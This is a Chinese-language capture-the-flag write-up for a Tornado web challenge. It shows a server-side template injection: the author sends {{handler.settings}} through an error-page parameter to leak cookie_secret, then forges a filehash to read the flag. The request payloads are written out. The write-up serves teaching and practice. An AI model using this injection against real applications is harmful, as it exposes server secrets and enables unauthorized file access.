访问 welcome.txt 提示:render ,他是 tornado 里面的渲染函数,就是对web网页界面进行编辑的函数,和template 的渲染是相似的,主要区别render是以脚本的方式进行渲染,template是以html方式进行渲染。这个重点在于是服务器模板,基本可以确定这是ssti(服务器模板注入),服务器模板注入和sql注入等有相同性,问题的关键在于传参。

访问 hints.txt 提示md5(cookie_secret+md5(filename)),这里我们可以得知,文件的hash由cookie_secret值+文件名的MD5值

我们打开每一个文件,发现URL中都有一个共同的特点,那就是同时传入了filenamefilehash参数。

1
2
3
4
5
6
# 访问flag.txt
file?filename=/flag.txt&filehash=6005af8fdeee32bcb6af26c227af34ca
# 访问welcome.txt
file?filename=/welcome.txt&filehash=99b7c80e7829afb54cf8aa6d27f83bae
# 访问hint.txt
file?filename=/hints.txt&filehash=7556b000e648b03f8315541c37f0c511

根据打开链接的url,里面有两个参数一个是filename,一个是filehash,也就是说 filename 是第一个文件的提示,filehash 是第三个文件的提示,那么问题就是如何获取cookie_secret

cookie_secret不是通用的属性,也就可以确定,应该是存放在服务器模板中的值,问题就转化为通过传参获取cookie_secret 的值。

我们这里修改 filename 参数的值,将其修改为任意字符,比如我这里修改为 x1ong,发现页面返回Error。

image-20231016192312116

而返回 Error 的原因是不是由参数 msg 控制呢,我们尝试将参数 msg 的值修改为 x1ong,发现页面返回 x1ong,因此我们可以得知,这里可以通过参数msg传入。

image-20231016192434178

Templates and UI — Tornado 6.1 documentation这个链接是tornado的官方文档,一个是通过文档我们获知传参的类型,另外一个是找到cookie_secret的赋值方法。

在template syntax中

image-20231016192142252

传递的参数值应为{{值}}的格式。

在官方文档中搜索 cookie_secretcookie_secrettornado.web.RequestHandler中的applicationsettings中,也就是需要传参RequestHandler.application.settings,但是传过去提示500。

image-20231016194708624

image-20231016194722549

image-20231016194834739

传入{{handler.settings}}即可得到 cookie_secret。

image-20231016194938164

最后将 cookie_secret 的值 加上 /fllllllllllllag 文件名的MD5值 最后整体再做一个MD5加密即可。

1
md5(cookie_secret+md5(filename))

image-20231016200114053

最终的PAYLOAD:

1
file?filename=/fllllllllllllag&filehash=b916d345a879e09e95fad423dae6d84e

image-20231016200250258